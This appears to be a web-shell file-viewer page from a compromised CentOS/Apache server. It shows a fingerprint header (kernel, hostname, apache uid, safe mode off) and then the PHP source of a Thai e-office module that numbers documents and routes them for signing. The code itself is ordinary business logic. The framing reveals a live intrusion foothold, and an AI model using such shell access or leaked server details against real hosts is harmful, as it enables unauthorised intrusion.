Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage/teacher/ drwxr-xr-x |
Viewing file: funct.php (82.14 KB) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) | SearchMaxDocGroup(); if($RsID=="1"){ //receiveOut $oRd->SearchRunningBydocGroupDtIDfunct($maxgroup,$DtID); $oRd->GetRecord(); if($oRd->confirm=="Y"){ if($oRd->receiveNo=="0" && ($oRd->receiveNoStart!="0" && $oRd->receiveNoStart!="")){ $runningDoc=$oRd->receiveNoStart; }else if($oRd->receiveNo!="0" && ($oRd->receiveNoStart!="0" && $oRd->receiveNoStart!="")){ $rN=$oRd->receiveNo; $rN=$rN+1; $runningDoc=$rN; }else{ $runningDoc="N"; } }else{ $runningDoc="NoConfirm"; } return $runningDoc; }else if($RsID=="2"){ //sendOut $oRd->SearchRunningBydocGroupDtIDfunct($maxgroup,$DtID); $oRd->GetRecord(); if($oRd->confirm=="Y"){ if($oRd->sendNo=="0" && ($oRd->sendNoStart!="0" && $oRd->sendNoStart!="")){ $runningDoc=$oRd->sendNoStart; }else if($oRd->sendNo!="0" && ($oRd->sendNoStart!="0" && $oRd->sendNoStart!="")){ $sN=$oRd->sendNo; $sN=$sN+1; $runningDoc=$sN; }else{ $runningDoc="N"; } }else{ $runningDoc="NoConfirm"; } return $runningDoc; }else if($RsID=="3"){ //receiveIn $oDt->SearchByKey($DtID); $oDt->GetRecord(); if($oDt->DtRunAll=="N"){ $oRd->SearchRunningBydocGroupDtIDfunctDept($maxgroup,$DtID,$deptId); $oRd->GetRecord(); }else{ $oRd->SearchRunningBydocGroupDtIDfunct($maxgroup,$DtID); $oRd->GetRecord(); } if($oRd->confirm=="Y"){ if($oRd->receiveNo=="0" && ($oRd->receiveNoStart!="0" && $oRd->receiveNoStart!="")){ $runningDoc=$oRd->receiveNoStart; }else if($oRd->receiveNo!="0" && ($oRd->receiveNoStart!="0" && $oRd->receiveNoStart!="")){ $rN=$oRd->receiveNo; $rN=$rN+1; $runningDoc=$rN; }else{ $runningDoc="N"; } }else{ $runningDoc="NoConfirm"; } return $runningDoc; }else if($RsID=="4"){ //sendIn $oDt->SearchByKey($DtID); $oDt->GetRecord(); if($oDt->DtRunAll=="N"){ $oRd->SearchRunningBydocGroupDtIDfunctDept($maxgroup,$DtID,$deptId); $oRd->GetRecord(); }else{ $oRd->SearchRunningBydocGroupDtIDfunct($maxgroup,$DtID); $oRd->GetRecord(); } if($oRd->confirm=="Y"){ if($oRd->sendNo=="0" && ($oRd->sendNoStart!="0" && $oRd->sendNoStart!="")){ $runningDoc=$oRd->sendNoStart; }else if($oRd->sendNo!="0" && ($oRd->sendNoStart!="0" && $oRd->sendNoStart!="")){ $sN=$oRd->sendNo; $sN=$sN+1; $runningDoc=$sN; }else{ $runningDoc="N"; } }else{ $runningDoc="NoConfirm"; } return $runningDoc; }else if($RsID=="5"){ //for regidDoc $oDt->SearchByKey($DtID); $oDt->GetRecord(); if($oDt->DtRunAll=="N"){ $oRd->SearchRunningBydocGroupDtIDfunctDept($maxgroup,$DtID,$deptId); $oRd->GetRecord(); }else{ $oRd->SearchRunningBydocGroupDtIDfunct($maxgroup,$DtID); $oRd->GetRecord(); } if($oRd->confirm=="Y"){ if($oRd->regisNo=="0" && ($oRd->regisNoStart!="0" && $oRd->regisNoStart!="")){ $runningDoc=$oRd->regisNoStart; }else if($oRd->regisNo!="0" && ($oRd->regisNoStart!="0" && $oRd->regisNoStart!="")){ $rN=$oRd->regisNo; $rN=$rN+1; $runningDoc=$rN; }else{ $runningDoc="N"; } }else{ $runningDoc="NoConfirm"; } return $runningDoc; } } function ShowDocNo($RsID,$DtID,$deptId,$DocfCir,$useMainDocNo){ include_once("../clas/clsConnection.php"); include_once("../clas/clsDB.php"); include_once "global.php"; include_once "./class/clsDepartment.php"; include_once "./class/clsDocType.php"; include_once "./class/clsRunningDoc.php"; include_once "./class/clsSysConfig.php"; include_once "getPrefix.php"; $oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']); $oDP = new Department($oC); $oDP2 = new Department($oC); $oDt = new doctype($oC); $oRd = new runningdoc($oC); $oSys = new sysConfig($oC); $maxgroup=$oDP->SearchMaxDocGroup(); if($RsID=="2"){ //sendOut $oRd->SearchRunningBydocGroupDtIDfunct($maxgroup,$DtID); $oRd->GetRecord(); if($oRd->sendNo=="0"){ $runningDoc_=$oRd->sendNoStart; }else{ $runningDoc_=($oRd->sendNo+1); } $oSysDocNo=$oSys->SearchByKeyName('sysDocNo'); $oDt->SearchByKey($DtID); $oDt->GetRecord(); $oDP2->SearchByShowDocNo($deptId); $oDP2->GetRecord(); if($oDP2->deptLevel!=0){ $deptId=SearchdeptIdlevel0($oDP2->deptParentId); } $oDP->SearchByKey($deptId); $oDP->GetRecord(); if($oDt->sendNoPrefix!=""){ $DocNo=$oDt->sendNoPrefix; } if($oDt->sendNoSuffix!=""){ $DocNo=$DocNo.$oDt->sendNoSuffix; } if($useMainDocNo=="Y"){ $DocNo = preg_replace("/%o.%d/", "%o", $DocNo); } $DocNo = preg_replace("/%o/", "$oSysDocNo", $DocNo); $DocNo = preg_replace("/%d/", "$oDP->deptNo", $DocNo); $DocNo = preg_replace("/%r/", "$runningDoc_", $DocNo); $Y = date('Y')+543; $DocNo = preg_replace("/%y/", "$Y", $DocNo); if($DocfCir=="Y"){ $DocfCir_="ว."; } $DocNo = preg_replace("/%p/", "$DocfCir_", $DocNo); return $DocNo; }else if($RsID=="3"){ //receiveIn if($DtID=="3"){ $oRd->SearchRunningBydocGroupDtIDfunctDept($maxgroup,$DtID,$deptId); $oRd->GetRecord(); }else{ $oRd->SearchRunningBydocGroupDtIDfunct($maxgroup,$DtID); $oRd->GetRecord(); } if($oRd->receiveNo=="0"){ $runningDoc_=$oRd->receiveNoStart; }else{ $runningDoc_=($oRd->receiveNo+1); } $oSysDocNo=$oSys->SearchByKeyName('sysDocNo'); $oDt->SearchByKey($DtID); $oDt->GetRecord(); $oDP->SearchByKey($deptId); $oDP->GetRecord(); if($oDt->sendNoPrefix!=""){ $DocNo=$oDt->sendNoPrefix; } if($oDt->sendNoSuffix!=""){ $DocNo=$DocNo.$oDt->sendNoSuffix; } $DocNo = preg_replace("/%o/", "$oSysDocNo", $DocNo); $DocNo = preg_replace("/%d/", "$oDP->deptNo", $DocNo); $DocNo = preg_replace("/%r/", "$runningDoc_", $DocNo); $Y = date('Y')+543; $DocNo = preg_replace("/%y/", "$Y", $DocNo); if($DocfCir=="Y"){ $DocfCir_="ว."; } $DocNo = preg_replace("/%p/", "$DocfCir_", $DocNo); return $DocNo; }else if($RsID=="4"){ //sendIn if($DtID=="3"){ $oRd->SearchRunningBydocGroupDtIDfunctDept($maxgroup,$DtID,$deptId); $oRd->GetRecord(); }else{ $oRd->SearchRunningBydocGroupDtIDfunct($maxgroup,$DtID); $oRd->GetRecord(); } if($oRd->sendNo=="0"){ $runningDoc_=$oRd->sendNoStart; }else{ $runningDoc_=($oRd->sendNo+1); } $oSysDocNo=$oSys->SearchByKeyName('sysDocNo'); $oDt->SearchByKey($DtID); $oDt->GetRecord(); $oDP->SearchByKey($deptId); $oDP->GetRecord(); if($oDt->sendNoPrefix!=""){ $DocNo=$oDt->sendNoPrefix; } if($oDt->sendNoSuffix!=""){ $DocNo=$DocNo.$oDt->sendNoSuffix; } $DocNo = preg_replace("/%o/", "$oSysDocNo", $DocNo); $DocNo = preg_replace("/%d/", "$oDP->deptNo", $DocNo); $DocNo = preg_replace("/%r/", "$runningDoc_", $DocNo); $Y = date('Y')+543; $DocNo = preg_replace("/%y/", "$Y", $DocNo); if($DocfCir=="Y"){ $DocfCir_="ว."; } $DocNo = preg_replace("/%p/", "$DocfCir_", $DocNo); return $DocNo; }else if($RsID=="5"){ //for regisDoc if($DtID=="3"){ $oRd->SearchRunningBydocGroupDtIDfunctDept($maxgroup,$DtID,$deptId); $oRd->GetRecord(); }else{ $oRd->SearchRunningBydocGroupDtIDfunct($maxgroup,$DtID); $oRd->GetRecord(); } if($oRd->regisNo=="0"){ $runningDoc_=$oRd->regisNoStart; }else{ $runningDoc_=($oRd->regisNo+1); } $oSysDocNo=$oSys->SearchByKeyName('sysDocNo'); $oDt->SearchByKey($DtID); $oDt->GetRecord(); $oDP2->SearchByShowDocNo($deptId); $oDP2->GetRecord(); if($oDP2->deptLevel!=0){ $deptId=SearchdeptIdlevel0($oDP2->deptParentId); } $oDP->SearchByKey($deptId); $oDP->GetRecord(); if($oDt->sendNoPrefix!=""){ $DocNo=$oDt->sendNoPrefix; } if($oDt->sendNoSuffix!=""){ $DocNo=$DocNo.$oDt->sendNoSuffix; } $DocNo = preg_replace("/%o/", "$oSysDocNo", $DocNo); $DocNo = preg_replace("/%d/", "$oDP->deptNo", $DocNo); $DocNo = preg_replace("/%r/", "$runningDoc_", $DocNo); $Y = date('Y')+543; $DocNo = preg_replace("/%y/", "$Y", $DocNo); if($DocfCir=="Y"){ $DocfCir_="ว."; } $DocNo = preg_replace("/%p/", "$DocfCir_", $DocNo); return $DocNo; } } function ShowEditDocNo($RsID,$DtID,$deptId,$P,$runningDoc,$useMainDocNo){ include_once("../clas/clsConnection.php"); include_once("../clas/clsDB.php"); include_once "global.php"; include_once "./class/clsDepartment.php"; include_once "./class/clsDocType.php"; include_once "./class/clsRunningDoc.php"; include_once "./class/clsSysConfig.php"; include_once "getPrefix.php"; $oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']); $oDP = new Department($oC); $oDP2 = new Department($oC); $oDt = new doctype($oC); $oRd = new runningdoc($oC); $oSys = new sysConfig($oC); $maxgroup=$oDP->SearchMaxDocGroup(); if($RsID=="2" || $RsID=="4" || $RsID=="5"){ //sendOut $oSys->RSsysConfig(); $oSys->GetRecord(); $oDt->SearchByKey($DtID); $oDt->GetRecord(); $oDP2->SearchByKey($deptId); $oDP2->GetRecord(); if($RsID!='4'){ if($oDP2->deptLevel!=0){ $deptId=SearchdeptIdlevel0($oDP2->deptParentId); } } $oDP->SearchByKey($deptId); $oDP->GetRecord(); if($oDt->sendNoPrefix!=""){ $DocNo=$oDt->sendNoPrefix; } if($oDt->sendNoSuffix!=""){ $DocNo=$DocNo.$oDt->sendNoSuffix; } if($useMainDocNo=="Y"){ $DocNo = preg_replace("/%o.%d/", "%o", $DocNo); } $DocNo = preg_replace("/%o/", "$oSys->sysDocNo", $DocNo); $DocNo = preg_replace("/%d/", "$oDP->deptNo", $DocNo); $DocNo = preg_replace("/%r/", "$runningDoc", $DocNo); $Y = date('Y')+543; $DocNo = preg_replace("/%y/", "$Y", $DocNo); if($P=="Y"){ $P="ว."; } $DocNo = preg_replace("/%p/", "$P", $DocNo); return $DocNo; } } function GetNextPsToSign($DlcID,$deptId){ include_once("../clas/clsConnection.php"); include_once("../clas/clsDB.php"); include_once "./global.php"; include_once "./class/clsDepartment.php"; include_once "./class/clsPerson.php"; include_once "./class/clsDocLinePosition.php"; include_once "./class/clsDocLineConfig.php"; include_once "./class/clsReceiveSendType.php"; include_once "./class/clsDocType.php"; include_once "./class/clsDocuments.php"; include_once "getPrefix.php"; $oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']); $oDP = new Department($oC); $oDP2 = new Department($oC); $oDP3 = new Department($oC); $oPS = new person($oC); $oUG = new umgroup($oCu); $oDlc = new DocLineConfig($oC); $oDlc2 = new DocLineConfig($oC); $oDlc3 = new DocLineConfig($oC); $oDlp = new docLinePosition($oC); $oRSt = new receiveSendType($oC); $oDt = new doctype($oC); $oDoc = new Documents($oC); $maxgroup=$oDP->SearchMaxDocGroup(); $oDlc->SearchByKey($DlcID); $oDlc->GetRecord(); $oDlp->SearchByKey($oDlc->DlpID); $oDlp->GetRecord(); if($oDlp->DlpPID=="0"){ $nextSeq=($oDlc->DlcSeq+2); $oDlc2->SearchByNextDlcID($nextSeq,$maxgroup,$oDlc->deptId); $oDlc2->GetRecord(); if($oDlc2->DlcSign=="N"){ $oDlc3->SearchByNextDlcID(($nextSeq+1),$maxgroup,$oDlc->deptId); $oDlc3->GetRecord(); if($oDlc3->DlcSign=="N"){ $nextDlcID="N"; }else{ $nextDlcID=$oDlc3->DlcID; } }else{ $nextDlcID=$oDlc2->DlcID; } return $nextDlcID; }else{ $nextSeq=($oDlc->DlcSeq+1); $oDlc2->SearchByNextDlcID($nextSeq,$maxgroup,$oDlc->deptId); $oDlc2->GetRecord(); if($oDlc2->DlcSign=="N"){ $oDlc3->SearchByNextDlcID(($nextSeq+1),$maxgroup,$oDlc->deptId); $oDlc3->GetRecord(); if($oDlc3->DlcSign=="N"){ $nextDlcID="N"; }else{ $nextDlcID=$oDlc3->DlcID; } }else{ $nextDlcID=$oDlc2->DlcID; } return $nextDlcID; } } function GetNextPrePsToSign($DlcID,$deptId){ include_once("../clas/clsConnection.php"); include_once("../clas/clsDB.php"); include_once "./global.php"; include_once "./class/clsDepartment.php"; include_once "./class/clsPerson.php"; include_once "./class/clsDocLinePosition.php"; include_once "./class/clsDocLineConfig.php"; include_once "./class/clsReceiveSendType.php"; include_once "./class/clsDocType.php"; include_once "./class/clsDocuments.php"; include_once "getPrefix.php"; $oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']); $oDP = new Department($oC); $oDP2 = new Department($oC); $oDP3 = new Department($oC); $oPS = new person($oC); $oUG = new umgroup($oCu); $oDlc = new DocLineConfig($oC); $oDlc2 = new DocLineConfig($oC); $oDlc3 = new DocLineConfig($oC); $oDlp = new docLinePosition($oC); $oRSt = new receiveSendType($oC); $oDt = new doctype($oC); $oDoc = new Documents($oC); $maxgroup=$oDP->SearchMaxDocGroup(); $oDlc->SearchByKey($DlcID); $oDlc->GetRecord(); $oDlp->SearchByKey($oDlc->DlpID); $oDlp->GetRecord(); if($oDlp->DlpPID=="0"){ $nextSeq=($oDlc->DlcSeq+2); $oDlc2->SearchByNextDlcID($nextSeq,$maxgroup,$oDlc->deptId); $oDlc2->GetRecord(); $nextDlcID=$oDlc2->DlcID; return $nextDlcID; }else{ $nextSeq=($oDlc->DlcSeq+1); $oDlc2->SearchByNextDlcID($nextSeq,$maxgroup,$oDlc->deptId); $oDlc2->GetRecord(); $nextDlcID=$oDlc2->DlcID; return $nextDlcID; } } function GetNextPsToByPass($DlcID,$deptId){ include_once("../clas/clsConnection.php"); include_once("../clas/clsDB.php"); include_once "global.php"; include_once "./class/clsDepartment.php"; include_once "./class/clsPerson.php"; include_once "./class/clsDocLinePosition.php"; include_once "./class/clsDocLineConfig.php"; include_once "./class/clsReceiveSendType.php"; include_once "./class/clsDocType.php"; include_once "./class/clsDocuments.php"; include_once "getPrefix.php"; $oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']); $oDP = new Department($oC); $oDP2 = new Department($oC); $oDP3 = new Department($oC); $oPS = new person($oC); $oUG = new umgroup($oCu); $oDlc = new DocLineConfig($oC); $oDlc2 = new DocLineConfig($oC); $oDlc3 = new DocLineConfig($oC); $oDlp = new docLinePosition($oC); $oRSt = new receiveSendType($oC); $oDt = new doctype($oC); $oDoc = new Documents($oC); $maxgroup=$oDP->SearchMaxDocGroup(); $oDlc->SearchByKey($DlcID); $oDlc->GetRecord(); $oDlp->SearchByKey($oDlc->DlpID); $oDlp->GetRecord(); if($oDlp->DlpPID=="0"){ $nextSeq=($oDlc->DlcSeq+2); $oDlc2->SearchByNextDlcID($nextSeq,$maxgroup,$oDlc->deptId); $oDlc2->GetRecord(); if($oDlc2->DlcByPass=="N"){ $oDlc3->SearchByNextDlcID(($nextSeq+1),$maxgroup,$oDlc->deptId); $oDlc3->GetRecord(); if($oDlc3->DlcByPass=="N"){ $nextDlcID="N"; }else{ $nextDlcID="Y"; } }else{ $nextDlcID="Y"; } return $nextDlcID; }else{ $nextSeq=($oDlc->DlcSeq+1); $oDlc2->SearchByNextDlcID($nextSeq,$maxgroup,$oDlc->deptId); $oDlc2->GetRecord(); if($oDlc2->DlcSign=="N"){ $oDlc3->SearchByNextDlcID(($nextSeq+1),$maxgroup,$oDlc->deptId); $oDlc3->GetRecord(); if($oDlc3->DlcByPass=="N"){ $nextDlcID="N"; }else{ $nextDlcID="Y"; } }else{ $nextDlcID="Y"; } return $nextDlcID; } } function GetLineDoc($DocID,$DocGroup,$DsID,$DrsID){ include_once("../clas/clsConnection.php"); include_once("../clas/clsDB.php"); include_once "global.php"; include_once "./class/clsDocReceiveSend.php"; include_once "getPrefix.php"; $oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']); $oRs = new DocReceiveSend($oC); $oRs->SearchByKey($DrsID); $oRs->GetRecord(); if($oRs->DrsFromDrsID!="0"){ $line=ShowLineDoc($oRs->DrsFromDrsID,$s); }else{ $line=$oRs->DrsID; } return $line; } function GetLineDoc2($DocGroup,$DrsID){ include_once("../clas/clsConnection.php"); include_once("../clas/clsDB.php"); include_once "global.php"; include_once "./class/clsDocReceiveSend.php"; include_once "getPrefix.php"; $oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']); $oRs = new DocReceiveSend($oC); $oRs->SearchByDrsIDDocGroup($DrsID,$DocGroup); $oRs->GetRecord(); if($oRs->DrsFromDrsID!="0"){ $line=ShowLineDoc($oRs->DrsFromDrsID,$s); }else{ $line=$oRs->DrsID; } return $line; } function ShowLineDoc($DrsFromDrsID,$s){ include_once("../clas/clsConnection.php"); include_once("../clas/clsDB.php"); include_once "global.php"; include_once "./class/clsDocReceiveSend.php"; include_once "getPrefix.php"; $oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']); $oRs = new DocReceiveSend($oC); $oRs->SearchByKey($DrsFromDrsID); $oRs->GetRecord(); $s=$oRs->DrsID.",".$s; if($oRs->DrsFromDrsID!="0"){ $s=ShowLineDoc($oRs->DrsFromDrsID,$s); } return $s; } function GetNextPsAfterSign($DlcID,$deptId){ include_once("../clas/clsConnection.php"); include_once("../clas/clsDB.php"); include_once "./global.php"; include_once "./class/clsDepartment.php"; include_once "./class/clsPerson.php"; include_once "./class/clsDocLinePosition.php"; include_once "./class/clsDocLineConfig.php"; include_once "./class/clsReceiveSendType.php"; include_once "./class/clsDocType.php"; include_once "./class/clsDocuments.php"; include_once "getPrefix.php"; $oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']); $oDP = new Department($oC); $oDP2 = new Department($oC); $oDP3 = new Department($oC); $oPS = new person($oC); $oUG = new umgroup($oCu); $oDlc = new DocLineConfig($oC); $oDlc2 = new DocLineConfig($oC); $oDlc3 = new DocLineConfig($oC); $oDlp = new docLinePosition($oC); $oRSt = new receiveSendType($oC); $oDt = new doctype($oC); $oDoc = new Documents($oC); $maxgroup=$oDP->SearchMaxDocGroup(); $oDlc->SearchByKey($DlcID); $oDlc->GetRecord(); $oDlp->SearchByKey($oDlc->DlpID); $oDlp->GetRecord(); if($oDlp->DlpPID=="0"){ $nextSeq=($oDlc->DlcSeq-2); $oDlc2->SearchByNextDlcID($nextSeq,$maxgroup,$oDlc->deptId); $oDlc2->GetRecord(); if($oDlc2->DlcSend=="N"){ $oDlc3->SearchByNextDlcID(($nextSeq+1),$maxgroup,$oDlc->deptId); $oDlc3->GetRecord(); if($oDlc3->DlcSend=="N"){ $nextDlcID="N"; }else{ $nextDlcID=$oDlc3->DlcID; } }else{ $nextDlcID=$oDlc2->DlcID; } return $nextDlcID; }else{ $nextSeq=($oDlc->DlcSeq-3); $oDlc2->SearchByNextDlcID($nextSeq,$maxgroup,$oDlc->deptId); $oDlc2->GetRecord(); if($oDlc2->DlcSend=="N"){ $oDlc3->SearchByNextDlcID(($nextSeq+1),$maxgroup,$oDlc->deptId); $oDlc3->GetRecord(); if($oDlc3->DlcSend=="N"){ $nextDlcID="N"; }else{ $nextDlcID=$oDlc3->DlcID; } }else{ $nextDlcID=$oDlc2->DlcID; } return $nextDlcID; } } function ShowSendtoPs($deptId){ include_once("../clas/clsConnection.php"); include_once("../clas/clsDB.php"); include_once "global.php"; include_once "./class/clsDocLineConfig.php"; include_once "./class/clsDepartment.php"; include_once "getPrefix.php"; $oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']); $oDlc = new DocLineConfig($oC); $oDlc2 = new DocLineConfig($oC); $oDlc3 = new DocLineConfig($oC); $oDP = new Department($oC); $maxgroup=$oDP->SearchMaxDocGroup(); $oDlc3->SearchDlcID11($maxgroup,$deptId); if($oDlc3->GetRecord()==1){ $dlc_search=11; $nextdlc_search=12; }else{ $dlc_search=5; $nextdlc_search=6; } $oDlc->SearchByDocGroupDlcID2($maxgroup,$deptId,$dlc_search); if($oDlc->GetRecord()=="1"){ if($oDlc->DlcActive=="Y"){ $pssend=$oDlc->DlcID; return $pssend; }else{ $oDlc2->SearchByDocGroupDlcID($maxgroup,$deptId,$nextdlc_search); if($oDlc2->GetRecord()=="1"){ if($oDlc2->DlcActive=="Y"){ $pssend=$oDlc2->DlcID; return $pssend; }else{ return "N"; } }else{ return "N"; } } }else{ $oDlc2->SearchByDocGroupDlcID($maxgroup,$deptId,$nextdlc_search); if($oDlc2->GetRecord()=="1"){ if($oDlc2->DlcActive=="Y"){ $pssend=$oDlc2->DlcID; return $pssend; }else{ return "N"; } }else{ return "N"; } } } function ShowSendtoPs2($deptId){ include_once("../../class/clsConnection.php"); include_once("../../class/clsDB.php"); include_once "../global.php"; include_once "../class/clsDocLineConfig.php"; include_once "../class/clsDepartment.php"; include_once "getPrefix.php"; $oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']); $oDlc = new DocLineConfig($oC); $oDlc2 = new DocLineConfig($oC); $oDlc3 = new DocLineConfig($oC); $oDP = new Department($oC); $maxgroup=$oDP->SearchMaxDocGroup(); $oDlc->SearchByDocGroupDlcID2($maxgroup,$deptId,$dlc_search); if($oDlc->GetRecord()=="1"){ $pssend=$oDlc->DlcID; return $pssend; } } function GetUpPsSend($DlcID,$deptId){ include_once("../../class/clsConnection.php"); include_once("../../class/clsDB.php"); include_once "../global.php"; include_once "../class/clsDepartment.php"; include_once "../class/clsPerson.php"; include_once "../class/clsDocLinePosition.php"; include_once "../class/clsDocLineConfig.php"; include_once "../class/clsReceiveSendType.php"; include_once "../class/clsDocType.php"; include_once "../class/clsDocuments.php"; include_once "getPrefix.php"; $oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']); $oDP = new Department($oC); $oDP2 = new Department($oC); $oDP3 = new Department($oC); $oPS = new person($oC); $oUG = new umgroup($oCu); $oDlc = new DocLineConfig($oC); $oDlc2 = new DocLineConfig($oC); $oDlc3 = new DocLineConfig($oC); $oDlp = new docLinePosition($oC); $oRSt = new receiveSendType($oC); $oDt = new doctype($oC); $oDoc = new Documents($oC); $maxgroup=$oDP->SearchMaxDocGroup(); $oDlc->SearchByKey($DlcID); $oDlc->GetRecord(); $oDlp->SearchByKey($oDlc->DlpID); $oDlp->GetRecord(); if($oDlp->DlpPID=="0"){ $nextSeq=($oDlc->DlcSeq-2); $oDlc2->SearchByNextDlcID($nextSeq,$maxgroup,$oDlc->deptId); $oDlc2->GetRecord(); if($oDlc2->DlcSend=="N"){ $oDlc3->SearchByNextDlcID(($nextSeq+1),$maxgroup,$oDlc->deptId); $oDlc3->GetRecord(); if($oDlc3->DlcSend=="N"){ $nextDlcID="N"; }else{ $nextDlcID=$oDlc3->DlcID; } }else{ $nextDlcID=$oDlc2->DlcID; } return $nextDlcID; }else{ $nextSeq=($oDlc->DlcSeq-3); $oDlc2->SearchByNextDlcID($nextSeq,$maxgroup,$oDlc->deptId); $oDlc2->GetRecord(); if($oDlc2->DlcSend=="N"){ $oDlc3->SearchByNextDlcID(($nextSeq+1),$maxgroup,$oDlc->deptId); $oDlc3->GetRecord(); if($oDlc3->DlcSend=="N"){ $nextDlcID="N"; }else{ $nextDlcID=$oDlc3->DlcID; } }else{ $nextDlcID=$oDlc2->DlcID; } return $nextDlcID; } } function GetUpPrePsSend($DlcID,$deptId){ include_once("../../class/clsConnection.php"); include_once("../../class/clsDB.php"); include_once "../global.php"; include_once "../class/clsDepartment.php"; include_once "../class/clsPerson.php"; include_once "../class/clsDocLinePosition.php"; include_once "../class/clsDocLineConfig.php"; include_once "../class/clsReceiveSendType.php"; include_once "../class/clsDocType.php"; include_once "../class/clsDocuments.php"; include_once "getPrefix.php"; $oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']); $oDP = new Department($oC); $oDP2 = new Department($oC); $oDP3 = new Department($oC); $oPS = new person($oC); $oUG = new umgroup($oCu); $oDlc = new DocLineConfig($oC); $oDlc2 = new DocLineConfig($oC); $oDlc3 = new DocLineConfig($oC); $oDlp = new docLinePosition($oC); $oRSt = new receiveSendType($oC); $oDt = new doctype($oC); $oDoc = new Documents($oC); $maxgroup=$oDP->SearchMaxDocGroup(); $oDlc->SearchByKey($DlcID); $oDlc->GetRecord(); $oDlp->SearchByKey($oDlc->DlpID); $oDlp->GetRecord(); if($oDlp->DlpPID=="0"){ $nextSeq=($oDlc->DlcSeq-2); $oDlc2->SearchByNextDlcID($nextSeq,$maxgroup,$oDlc->deptId); $oDlc2->GetRecord(); $nextDlcID=$oDlc2->DlcID; return $nextDlcID; }else{ $nextSeq=($oDlc->DlcSeq-3); $oDlc2->SearchByNextDlcID($nextSeq,$maxgroup,$oDlc->deptId); $oDlc2->GetRecord(); $nextDlcID=$oDlc2->DlcID; return $nextDlcID; } } function GetParentDoc($DocID){ include_once("../../class/clsConnection.php"); include_once("../../class/clsDB.php"); include_once "../global.php"; include_once "../class/clsDocuments.php"; include_once "getPrefix.php"; $oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']); $oDoc = new Documents($oC); $oDoc->SearchByKey($DocID); $oDoc->GetRecord(); if($oDoc->DocPID!=0){ $a=GetParentDoc($oDoc->DocPID); }else{ $a=$oDoc->DocID; return $a; } return $oDoc->DocPID; } function UpdatereadDoc($DrsID,$DocID){ include_once("../../class/clsConnection.php"); include_once("../../class/clsDB.php"); include_once "../global.php"; include_once "../class/clsDocReceiveSend.php"; include_once "getPrefix.php"; $oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']); $oRs = new DocReceiveSend($oC); $oRs1 = new DocReceiveSend($oC); $oRs2 = new DocReceiveSend($oC); $oRs->SearchByKey($DrsID); $oRs->GetRecord(); $oRs->Edit(); $oRs->DrsID=$oRs->DrsID; $oRs->DocID=$oRs->DocID; $oRs->DlcID=$oRs->DlcID; $oRs->DsID=4; $oRs->personId=$oRs->personId; $oRs->PtID=$oRs->PtID; $oRs->DrsDocTypeNo=$oRs->DrsDocTypeNo; $oRs->DrsReceiveDate=$oRs->DrsReceiveDate; $oRs->DrsReceivePersonId=$oRs->DrsReceivePersonId; $oRs->DrsSendDate=$oRs->DrsSendDate; $oRs->DrsSendPersonId=$oRs->DrsSendPersonId; $oRs->DrsSendDlcID=$oRs->DrsSendDlcID; $oRs->DrsDocDueDate=$oRs->DrsDocDueDate; $oRs->DrsDlcIDCreate=$oRs->DrsDlcIDCreate; $oRs->DrsPsIDCreate=$oRs->DrsPsIDCreate; $oRs->DrsPropose=$oRs->DrsPropose; $oRs->DrsSign=$oRs->DrsSign; $oRs->DrsFromDrsID=$oRs->DrsFromDrsID; $oRs->DocGroup=$oRs->DocGroup; $oRs->DrsflagRead=$oRs->DrsflagRead; $oRs->DrsByPass=$oRs->DrsByPass; $oRs->DrsSend=$oRs->DrsSend; $oRs->DrsSendToPs=$oRs->DrsSendToPs; $oRs->DrsDelete=$oRs->DrsDelete; $oRs->DrsMainPs=$oRs->DrsMainPs; $oRs->AnID=$oRs->AnID; $oRs->DrsDocReceiveDate=$oRs->DrsDocReceiveDate; $oRs->DocRefAnsDate=$oRs->DocRefAnsDate; $oRs->DrsSendDocNew=$oRs->DrsSendDocNew; 